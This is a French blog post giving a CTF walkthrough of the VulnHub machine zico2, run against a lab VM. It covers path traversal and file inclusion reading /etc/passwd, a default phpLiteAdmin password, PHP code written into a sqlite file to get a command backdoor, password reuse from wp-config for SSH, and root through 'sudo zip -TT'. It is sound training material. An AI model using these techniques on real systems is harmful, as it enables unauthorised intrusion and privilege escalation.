Accueil Solution du CTF zico2: 1 de VulnHub
Post
Annuler

Solution du CTF zico2: 1 de VulnHub

Nitro

zico2 est un CTF boot-2-root créé par Rafael Santos et disponible sur VulnHub.

Le synopsis est le suivant :

Zico is trying to build his website but is having some trouble in choosing what CMS to use. After some tries on a few popular ones, he decided to build his own. Was that a good idea?

Toc toc

Nmap trouve les ports suivants sur la VM :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
|   2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA)
|_  256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Zico's Shop
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          49368/tcp  status
|_  100024  1          50813/udp  status
49368/tcp open  status  1 (RPC #100024)

Sur le port 80 se trouve un site quasi vide mais qui présente bien (bootstrap, jquery, fontawesome, …)

On note toutefois une URL http://192.168.1.47/view.php?page=tools.html qui laisse présager une faille d’inclusion ou juste un directory traversal.

Monkey see

Après avoir joué un peu avec cette URL on voit que les inclusions distantes et les chemins absolus ne fonctionnent pas mais les chemins relatifs fonctionnent.

Ainsi l’URL http://192.168.1.47/view.php?page=../../../../../../../../../../../../../etc/passwd nous retourne le contenu suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
ntp:x:103:108::/home/ntp:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
statd:x:105:65534::/var/lib/nfs:/bin/false
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
zico:x:1000:1000:,,,:/home/zico:/bin/bash

Face à une telle vulnérabilité l’objectif est d’abord de déterminer où l’on se trouve sur le système (quel est le working directory du script) et d’obtenir des informations sur la configuration du serveur (config Apache et PHP).

En l’occurrence si on passe juste ../../etc/passwd on obtient toujours le contenu attendu, ce qui montre que seuls deux dossiers nous séparent de la racine. On peut être dans un /var/www ou /srv/htdocs.

L’entrée du fichier passwd pour l’utilisateur www-data permet de confirmer que l’on est dans /var/www.

Maintenant que l’on sait où l’on est, il faut trouver une fonctionnalité permettant de placer du contenu sur le disque du serveur afin de provoquer son inclusion.

Je lance un scan de dossiers sur le serveur web et quelques entrées apparaissent :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  `==\. dvbuster v1.0 ./=='
      ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
20468 lines to process.
as many requests to send.
Using 4 processes...
Server banner: Apache/2.2.22 (Ubuntu)

Starting buster processes...
http://192.168.1.47/.htaccess/ - HTTP 403 (238 bytes, gzip)
http://192.168.1.47/.htpasswd/ - HTTP 403 (241 bytes, gzip)
http://192.168.1.47/cgi-bin/ - HTTP 403 (240 bytes, gzip)
http://192.168.1.47/css/ - HTTP 200 (468 bytes, gzip) - Directory listing found
http://192.168.1.47/dbadmin/ - HTTP 200 (455 bytes, gzip) - Directory listing found
http://192.168.1.47/doc/ - HTTP 403 (237 bytes, gzip)
http://192.168.1.47/icons/ - HTTP 403 (238 bytes, gzip)
http://192.168.1.47/img/ - HTTP 200 (474 bytes, gzip) - Directory listing found
http://192.168.1.47/js/ - HTTP 200 (467 bytes, gzip) - Directory listing found
http://192.168.1.47/server-status/ - HTTP 403 (240 bytes, gzip)
http://192.168.1.47/vendor/ - HTTP 200 (506 bytes, gzip) - Directory listing found
http://192.168.1.47/view/ - HTTP 200 (20 bytes, gzip)
100% - DONE
100% ~user/                        Duration: 0:00:22.138620

Le dossier dbadmin est intéressant : il renferme un script test_db.php qui est une mire de login pour phpLiteAdmin v1.9.3.

Ces webapps ont parfois des mots de passe par défaut donc je tente rapidement le mot de passe admin et hop! connecté :)

Au passage l’inclusion de dbadmin/test_db.php retourne la mire de connexion telle qu’elle est si on y accède directement et pas du code PHP, preuve que l’on est en face d’une faille d’inclusion et non un simple directory traversal.

Dans l’interface de phpLiteAdmin est listée une base de donnée à l’emplacement /usr/databases/test_users. Il s’agit d’une base sqlite.

Une table info est présente avec trois colonnes : id, name, et pass. On trouve deux enregistrements :

1
2
root	653F4B285089453FE00E2AAFAC573414
zico	96781A607F4E9F5F423AC01F0DAB0EBD

Google permet de retrouver facilement le password correspondant au premier hash (34kroot34). Malheureusement il ne permet ni d’accéder au compte zico ni à root :(

Monkey write

Mais on a au moins la possibilité d’écrire dans la base de données sqlite et donc sur le disque du serveur. Je créé donc une table avec seulement un champ TEXT et une entrée <?php phpinfo(); ?>

L’accès à l’URL http://192.168.1.47/view.php?page=../../usr/databases/test_users nous retourne bien le phpinfo()

On efface la nouvelle table et on en recrée une qui fait une backdoor system().

php backdoor via sqlite DB file

Via cet accès on découvre que le dossier /var/www est accessible par root uniquement donc on ne peut pas créer de fichier .ssh/authorized_keys.

Toutefois les sous-dossiers sont eux accessibles et peuvent nous servir pour déposer ou récupérer des fichiers facilement.

Le dossier de l’utilisateur zico est lisible et bourré de sources de webapps. Je recherche dans le listing les fichiers avec config dans le nom. Assez rapidement je me tourne vers le wp-config (fichier de configuration de Wordpress)

Monkey get a shell

On trouve un mot de passe dans le fichier de configuration qui est réutilisé pour le compte SSH :

1
2
3
4
5
/** MySQL database username */
define('DB_USER', 'zico');

/** MySQL database password */
define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');
1
2
zico@zico:~$ id
uid=1000(zico) gid=1000(zico) groups=1000(zico)

Malheureusement le mot de passe cassé plus tôt (34kroot34) n’est pas réutilisé pour le compte root.

Monkey g0t root

L’utilisateur zico a l’autorisation de lancer deux programmes d’archivage avec les droits root :

1
2
3
4
5
6
7
zico@zico:~$ sudo -l
Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip

Il y a t-il un moyen de faire exécuter des commandes à l’un de ces deux programmes ? La page de manuel de zip nous donne une solution :

1
2
3
4
5
6
7
-TT cmd
--unzip-command cmd
        Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used.  On Unix, to use a copy of unzip in the current directory instead  of  the  standard system unzip, could use:

        zip archive file1 file2 -T -TT "./unzip -tqq"

        In  cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command.  The return code is checked for success (0 on Unix).

Plus qu’à récupérer le flag :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
zico@zico:~$ sudo zip archive /etc/issue -T -TT "ls /root -al"
  adding: etc/issue (stored 0%)
-rw------- 1 root root  169 Oct 20 16:44 zifzgKZx

/root:
total 44
drwx------  4 root root 4096 Jun 19 11:59 .
drwxr-xr-x 24 root root 4096 Jun  1 18:54 ..
-rw-------  1 root root 5723 Jun 19 12:09 .bash_history
-rw-r--r--  1 root root 3106 Apr 19  2012 .bashrc
drwx------  2 root root 4096 Jun  1 20:15 .cache
-rw-r--r--  1 root root   75 Jun 19 11:55 flag.txt
-rw-r--r--  1 root root  140 Apr 19  2012 .profile
drwxr-xr-x  2 root root 4096 Jun  8 14:02 .vim
-rw-------  1 root root 5963 Jun 19 11:59 .viminfo
test of archive.zip OK

zico@zico:~$ sudo zip archive /etc/issue -T -TT "cat /root/flag.txt"
  adding: etc/issue (stored 0%)
#
#
#
# ROOOOT!
# You did it! Congratz!
#
# Hope you enjoyed!
#
#
#
#

Cette solution est sans doute un peu maladroite dans le sens où il suffit de zipper le dossier /root puis le dézipper pour récupérer le flag. Mais c’était plus marrant de cette manière :)

Published October 20 2017 at 20:10

Cet article est sous licence CC BY 4.0 par l'auteur.